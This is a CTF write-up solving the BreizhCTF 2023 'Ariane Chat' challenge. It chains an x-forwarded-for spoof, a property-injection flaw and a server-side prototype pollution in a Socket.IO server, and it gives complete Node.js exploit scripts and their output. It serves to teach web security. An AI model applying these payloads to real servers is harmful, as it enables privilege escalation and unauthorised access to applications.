Server-Side Prototype Pollution on a WebSocket server – BreizhCTF Ariane Chat

WriteUp 1年前 (2023) admin
361 0 0

Server-Side Prototype Pollution on a WebSocket server - BreizhCTF Ariane Chat

Ariane Chat – BreizhCTF Writeup

In this article, we will solve the second hardest web challenge of the BreizhCTF 2023Ariane chat is a chat application based on a WebSocket/Socket.IO server. We have access to the backend source code of the challenge.

Description: Ariane chat offers a new online chat service. It is equipped with intelligent moderation, but it is struggling to gather funding.

TL;DR

The goal is to exploit a lack of access control in order to reach a function vulnerable to Server-Side Prototype Pollution (SSPP). Then, change the admin property to true to obtain an administrator account when creating a new user and retrieve the flag.

Overview

The chat application is based on Socket.IO, a library that enables real-time, bidirectional and event-based communication between the browser and the server using WebSockets.

Server-Side Prototype Pollution on a WebSocket server - BreizhCTF Ariane Chat

The image below describes the file tree of the application’s source code.

Server-Side Prototype Pollution on a WebSocket server - BreizhCTF Ariane Chat

The file defines the following Socket.IO listeners:chat.gateway.ts

Functions Description Pre-requisites
login Login as a with a Humanusername
loginAsBot Login as a with a Botusername x-forwarded-for must be 127.0.0.1
loginAsAdmin Login as an with a and a Adminusernamepassword isAdmin must be and not authenticatedtrue
sendMessage Send a message to the chat ( and parameters)authorNamemessage Authenticated
reportClient Report a with a usernamereason Authenticated as Bot
banClient Ban a with a messagereason Authenticated as Admin
getBanList List of banned people Authenticated as Admin

For example, there are the two functions/listeners to login as a Human and send a message to everyone in the chat:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('login')
    async loginAsHuman(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
        const { username } = body;
        const client = new Client(socket, ClientClass.HUMAN);
        client.username = username;
        this.chatService.addClient(socket.id, client);
    }
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('sendMessage')
    async onChat(@ConnectedSocket() socket: Socket, @MessageBody('message') messageStr: string) {
        const messageInstance = this.chatService.processMessage(socket.id, messageStr);

        this.server.emit('onMessage', {
            authorName: messageInstance.author,
            message: messageInstance.content,
        });
    }

You can create a simple client using the library socket.io-client to send () and receive () events from the server.emiton

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import { io } from "socket.io-client";

const url = "ws://localhost:8888";

const human = io(url);

// ------------- RECV -------------------
human.on("onMessage", (...args) => {
    console.log("RECV (onMessage):")
    console.log(args);
});

// ------------- SEND -------------------
human.emit("login", {"username": "toto"});
human.emit("sendMessage", {
    "authorName": "toto",
    "message": "Hello world !"
});

In the example above, we logged as and send the message . The server responds to us with the author’s name and message.totoHello world !

1
2
3
$ node client.mjs
RECV (onMessage):
[ { authorName: 'toto', message: 'Hello world !' } ]

The flag will be sent if we are able to log in as an admin. The function does not verify the username and password, rather, we only need to pass the condition to obtain the flag.loginAsAdminif (client.isAdmin)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('loginAsAdmin')
    async loginAsAdmin(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
        if (!body.password) {
            throw new WsException('A password is required to authenticate as admin');
        }
        if (this.chatService.getClientBySocket(socket.id)) {
            throw new WsException('You are already logged in');
        }

        const client = new Client(socket, ClientClass.HUMAN);
        client.username = body.username;
        this.chatService.addClient(socket.id, client);

        // TODO: Admin authentication
        // if (crypto.createHash('sha512').update(body.password).digest('hex') === 'TODO') {
        // 	client.isAdmin = true;
        // }
        if (client.isAdmin) {
            socket.emit('onmessage', 'Welcome home admin, BZHCTF{}');
        }
    }

Within this section, we have outlined the functions of the chat application and identified the objective of the challenge.

Exploitation

SSPP (Server-Side Prototype Pollution) is a type of prototype pollution that operates on the server. Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects. What is prototype pollution?

Identify the SSPP

The function from the file is vulnerable to SSPP (Server-Side Prototype Pollution).getCanceledPeoplemoderation.service.ts

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export class ModerationService {
    // ...

    public getCanceledPeople(): {
        [username: string]: {
            [reason: string]: string;
        };
    } {
        const list: {
            [username: string]: {
                [reason: string]: string;
            };
        } = {};

        for (const [username, [message, reason]] of this.bannedUsers) {
            if (!list[username]) {
                list[username] = {};
            }
            list[username][message] = reason; // <-- SSPP
        }

        return list;
    }

Since there are no restrictions on the variables, we have the ability to manipulate the values of , , and . As a result, we can modify the default value of the property for an object to .usernamemessagereasonisAdmintrue

1
2
3
4
5
6
let username = "__proto__";
let message = "isAdmin";
let reason = "true"; // any string with length >= 1 to pass the condition

list[username][message] = reason
// list["__proto__"]["isAdmin"] = "true"

Since is initially , the prototype pollution will set the new default value of the property. To set up the SSPP, we must take the following steps:client.isAdminundefinedisAdmin

  1. Register a Human named __proto__
  2. Send the message isAdmin
  3. Find a way to ban the message isAdmin with a reason to true (covered in the next section)

In this section, we have found the main vulnerability of the challenge which is an SSPP (Server-Side Prototype Pollution). However, we cannot directly use it, this will be explain in the next section.

Trigger the SSPP

The vulnerable function is only called by the listener which is reserved for administrators.getCanceledPeoplegetBanList

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @SubscribeMessage('getBanList')
    async getBanList(@ConnectedSocket() socket: Socket) {
        const client = this.chatService.getClientBySocket(socket.id);
        if (!client) {
            throw new WsException('Not authenticated');
        }
        if (!client.isAdmin) {
            throw new WsException('Only moderators are allowed to list banned people');
        }

        socket.emit('setBanList', this.moderationService.getCanceledPeople());
    }

We have a problem! To become an administrator, we need to use the function which is called by the listener which is reserved for administrators. It seems to be rabbit hole but its not ! Why ? Because there is another vulnerability in the code.getCanceledPeoplegetBanList

In the (suspicious) function we can modify a property of an authenticated client. For example, we can set . This will allow us to bypass the condition inside . However we cannot bypass the condition in because this function require an unauthenticated client.susclient['isAdmin'] = 'suspicious';if (!client.isAdmin)getBanListif (client.isAdmin)loginAsAdmin

1
2
3
4
5
6
7
export class ModerationService {
    // ...

    public sus(client: Client, reason: SusReason) {
        client[reason] = 'suspicious';
        this.reportedUsers.add(client.username);
    }

If we report a user with the to . The reported client will be an adminstrator.reasonisAdmin

1
2
3
client["isAdmin"] = 'suspicious';

if (client.isAdmin) // will be true

To report a user, we must be a . The only condition to be a is to set the to , then use the listener.BotBotx-forwarded-for127.0.0.1loginAsBot

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('loginAsBot')
    async loginAsBot(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
        const ip = [socket.handshake.headers['x-forwarded-for'], socket.handshake.address];

        if (!ip.includes('127.0.0.1')) {
            throw new WsException('Unauthorized');
        }

        const client = new Client(socket, ClientClass.BOT);
        client.username = body.username;
        this.chatService.addClient(socket.id, client);
    }
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('reportClient')
    async reportClient(@ConnectedSocket() socket: Socket, @MessageBody() body: ReportClientDto) {
        const { username, reason } = body;

        // Authenticate client
        const client = this.chatService.getClientBySocket(socket.id);
        if (!client) {
            throw new WsException('Not authenticated');
        }
        if (client.classType !== ClientClass.BOT) {
            throw new WsException('Not a bot');
        }
        if (client.username === username) {
            throw new WsException('You cannot report yourself');
        }

        const suspected = this.chatService.getClientByUsername(username);
        if (suspected.classType === ClientClass.BOT || suspected.isAdmin) {
            throw new WsException('You cannot report admins or bots');
        }
        if (!suspected) {
            throw new WsException('This user does not exist');
        }
        this.moderationService.sus(suspected, reason);
    }

So we can create a little PoC that will call the function:getBanList

  1. Register a Human
  2. Register a Bot
  3. The Bot will report the Human with a reason (so the Human will be an administrator)isAdmin
  4. The Human (administrator) will call the functiongetBanList
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import { io } from "socket.io-client";

// const url = "ws://localhost:8888";
const url = "https://arianechat-3bb948c9ac36cf54.ctf.bzh/";

const human = io(url);
const bot = io(url, {
    extraHeaders: {
        "x-forwarded-for": "127.0.0.1"
    }
});

// ------------- RECV -------------------
human.onAny((eventName, ...args) => {
    console.log(`HUMAN RECV (${eventName}):`)
    console.log(args);
});
bot.onAny((eventName, ...args) => {
    console.log(`BOT RECV (${eventName}):`)
    console.log(args);
});

// ------------- SEND -------------------

// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login", {"username": "toto"});

// Bot that will report the Human
bot.emit("loginAsBot", {"username": "bot"});


setTimeout(() => {
    // The Human is now admin, he can call the getBanList function
    bot.emit("reportClient", {
        "username": "toto",
        "reason": "isAdmin"
    });

    setTimeout(() => {
        // The Human triggers the SSPP
        human.emit("getBanList");
    }, 500);
}, 500)

After executing the script, we successfully call the function which returns an empty array as expected since we have not banned any users yet.getBanList

1
2
3
$ node test.mjs
HUMAN RECV (setBanList):
[ {} ]

Final PoC

Having identified the SSPP and our ability to trigger it, we can merge the two steps above to construct the complete exploit chain. Here is a documented the PoC in Javascript:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import { io } from "socket.io-client";

const url = "ws://localhost:8888";

const human = io(url);
const banUser = io(url);
const flagUser = io(url);
const bot = io(url, {
    extraHeaders: {
        "x-forwarded-for": "127.0.0.1"
    }
});

// ------------- RECV -------------------
const users = {
    "human": human,
    "banUser": banUser,
    "bot": bot,
    "flagUser": flagUser
};
for (let key in users) {
    let socket = users[key];
    // Listen on all emitters
    socket.onAny((eventName, ...args) => {
        console.log(`${key} RECV (${eventName}):`)
        console.log(args);
    });
}

// ------------- SEND -------------------
const sleep = 1000;

// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login", {"username": "toto"});

// Send the message that will be ban by the futur admin Human
banUser.emit("login", {"username": "__proto__"});
banUser.emit("sendMessage", {
    "authorName": "__proto__",
    "message": "isAdmin"
});

// Bot that will report the Human
bot.emit("loginAsBot", {"username": "bot"});

setTimeout(() => {
    // The Human is now admin
    // he can call banClient & getBanList functions
    bot.emit("reportClient", {
        "username": "toto",
        "reason": "isAdmin"
    });

    setTimeout(() => {
        // Prepare the SSPP
        // list[username][message] = reason
        // list[__proto__][isAdmin] = true
        human.emit("banClient", {
            "message": "isAdmin",
            "reason": "true"
        })

        setTimeout(() => {
            // The Human triggers the SSPP
            human.emit("getBanList");

            setTimeout(() => {
                // Login as admin to get the flag
                flagUser.emit("loginAsAdmin", {
                    "username": "whatever",
                    "password": "whatever"
                });
            }, sleep);
        }, sleep);
    }, sleep);
}, sleep);

There is the execution of the PoC :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ node poc.mjs
human RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
banUser RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
flagUser RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
bot RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
human RECV (setBanList):
[ {} ]
flagUser RECV (onmessage):
[ 'Welcome home admin, BZHCTF{DontPutUserInputIntoYourKeys}' ]

And we get the flag BZHCTF{DontPutUserInputIntoYourKeys} !!!

版权声明:admin 发表于 2023年3月23日 上午9:35。
转载请注明:Server-Side Prototype Pollution on a WebSocket server – BreizhCTF Ariane Chat | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...